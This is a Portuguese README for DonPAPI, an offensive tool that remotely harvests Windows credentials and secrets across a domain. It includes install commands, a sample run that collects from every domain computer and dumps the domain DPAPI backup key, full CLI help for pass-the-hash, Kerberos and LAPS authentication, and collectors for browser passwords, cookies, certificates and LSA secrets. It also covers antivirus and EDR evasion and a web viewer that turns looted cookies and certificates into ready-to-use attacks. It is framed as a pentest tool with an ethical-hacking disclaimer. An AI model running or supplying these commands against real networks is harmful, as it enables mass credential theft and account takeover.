
Coleta automatizada remota de credenciais para ambientes Windows, extraindo segredos DPAPI, credenciais de navegadores, certificados e arquivos de configuração, com evasão de defesa embutida e um visualizador de saque baseado na web.
DonPAPI automatiza a extração remota de segredos em múltiplos computadores Windows, com foco em evasão de defesa.

Credenciais coletadas:
Fizemos uma palestra em francês sobre DPAPI chamada DPAPI - Don't Put Administration Passwords In 🇫🇷:
Esta ferramenta deve ser instalada com pipx ou em um ambiente virtual dedicado
pipx install donpapi
ou (com os commits mais recentes)
pipx install git+https://github.com/login-securite/DonPAPI.git
ou (para desenvolvimento)
git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI
pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui
usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...
Dump revelant information on compromised targets without AV detection. Version: 2.0.0
positional arguments:
{collect,gui} DonPAPI Action
collect Dump secrets on a target list
gui Spawn a Flask webserver to crawl DonPAPI database
options:
-h, --help show this help message and exit
-v Verbosity level (-v or -vv)
-o DIRNAME, --output-directory DIRNAME
Output directory. Default is ~/.donpapi/loot/
Esta ação é usada para coletar segredos nos alvos especificados em -t.
usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
[-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
[-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
[--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]
options:
-h, --help show this help message and exit
--keep-collecting seconds
Rerun the attack against all targets after X seconds, X being the value
--threads Number of threads
Number of threads (default: 50)
--no-config Do not load donpapi config file (~/.donpapi/donpapi.conf)
authentication:
-t TARGET [TARGET ...], --target TARGET [TARGET ...]
the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, ALL to fetch every
computer hostnames from LDAP
-d domain.local, --domain domain.local
Domain
-u username, --username username
Username
-p password, --password password
Password
-H LMHASH:NTHASH, --hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
--no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
credentials cannot be found, it will use the ones specified in the command line
--aesKey hex key AES key to use for Kerberos Authentication (1128 or 256 bits)
--laps Administrator use LAPS to request local admin password. The laps parameter value is the local admin account use to connect
--dc-ip IP address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
The recover file path. If used, the other parameters will be ignored
attacks:
-c COLLECTORS, --collectors COLLECTORS
Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all
previous) (default: All)
-nr, --no-remoteops Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)
--fetch-pvk Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller
--pvkfile PVKFILE Pvk file with domain backup key
--pwdfile PWDFILE File containing username:password that will be used eventually to decrypt masterkeys
--ntfile NTFILE File containing username:nthash that will be used eventually to decrypt masterkeys
--mkfile MKFILE File containing {GUID}:SHA1 masterkeys mappings
A autenticação funciona especificando um domínio com --domain, um nome de usuário com --username e, eventualmente, uma senha com --password, um hash com --hashes, uma chave AES com --aesKey ou um ticket Kerberos no formato ccache com -k (estilo Impacket).
Você também pode autenticar via LAPS no computador com --laps e o nome da conta LAPS local como valor para este parâmetro.
Por padrão, o DonPAPI coletará:
Você pode especificar cada um que deseja coletar com --collectors (estilo SharpHound). Se usar --fetch-pvk, o DonPAPI buscará automaticamente a Chave de Backup do Domínio do AD e a usará para descriptografar chaves mestras. Caso contrário, você pode fornecer uma com --pvkfile. --pwdfile, --ntfile são usados para alimentar o DonPAPI com segredos para desbloquear chaves mestras. Mas se você tiver chaves mestras recentemente descriptografadas, pode usar --mkfile.
[!WARNING] Alguns métodos de coleta precisarão extrair segredos do LSA (para obter a chave de máquina DPAPI). Essa ação pode ser ruidosa, e um EDR moderno o bloqueará instantaneamente. Você pode usar
-nrpara evitar essas ações ruidosas, mas alguns segredos não serão coletados.
O DonPAPI agora suporta um arquivo de configuração para aprimorar o comportamento do Secretsdump. Este arquivo estará localizado em ~/.donpapi/donpapi.conf e, por padrão, será assim:
[secretsdump]
share = C$
remote_filepath = \Users\Default\AppData\Local\Temp
filename_regex = \d{4}-\d{4}-\d{4}-[0-9]{4}
file_extension = .log
O DonPAPI suporta arquivos de recuperação. Cada vez que você executar um comando collect, ele salvará um arquivo de recuperação dos alvos restantes e todas as opções. Por padrão, o arquivo está localizado na pasta ~/.donpapi/register/
Às vezes, em uma avaliação interna, você quer pressionar alguns alvos específicos e coletar segredos em seus computadores repetidamente. Não faça um loop bash idiota, use --keep-collecting X, onde X são os segundos que você deseja esperar entre cada sessão de coleta.
Agora que você coletou todos esses segredos, deseja navegar por eles. O DonPAPI permite que você percorra todos os segredos coletados com uma GUI web. Para iniciá-la, use donpapi gui.
usage: DonPAPI gui [-h] [--bind BIND] [--port PORT] [--ssl] [--basic-auth user:password]
options:
-h, --help show this help message and exit
--bind BIND HTTP Server bind address (default=127.0.0.1)
--port PORT HTTP Server port (default=8088)
--ssl Use an encrypted connection
--basic-auth user:password
Set up a basic auth
Geral
Esta tela exibirá todas as senhas SAM reutilizadas em todos os computadores coletados, tarefas agendadas extraídas e senhas de contas de serviço extraídas do LSA. Você pode exportar todas elas no formato CSV.
Segredos
Esta tela exibirá todos os segredos saqueados com o DonPAPI. Você pode pesquisar em vários elementos e exportar segredos em CSV.
Cookies
Esta tela exibirá todos os cookies saqueados com o DonPAPI. Você pode pesquisar em vários elementos e exportar cookies em CSV, mas também copiá-los e colá-los em código JavaScript para colar no seu navegador.
Certificados
Esta tela exibirá todos os certificados saqueados com o DonPAPI. Você pode pesquisar em vários elementos e exportar certificados em CSV; além disso, se um certificado permitir autenticação de cliente, clicar em Sim copiará um comando Certipy para usar o certificado.
Esta ferramenta é apenas para fins educacionais e de hacking ético. A Login Sécurité não é responsável pelos abusos cometidos com esta ferramenta.
O frontend da GUI é desenvolvido em Vue3 + Vite.js, e o backend é Python Flask.
Por padrão, será exposto em http://127.0.0.1:8088, mas você pode expô-lo da maneira que preferir, até mesmo em https://0.0.0.0:443.
[!WARNING] Nunca exponha o DonPAPI a uma rede inteira dessa forma, pode ser muito perigoso. O DonPAPI suporta HTTPS com
--ssle você pode adicionar uma Autenticação Básica com--basic-auth. E, além disso, nunca exponha o DonPAPI na Internet dessa forma.
Clicar em um valor nas tabelas o colocará instantaneamente na sua área de transferência.
Uma caixa de seleção Ocultar Senha está disponível na GUI para ocultar dados confidenciais na interface, perfeito para capturas de tela.
Todos os créditos vão para esses grandes caras por fazer a pesquisa e codificação difíceis: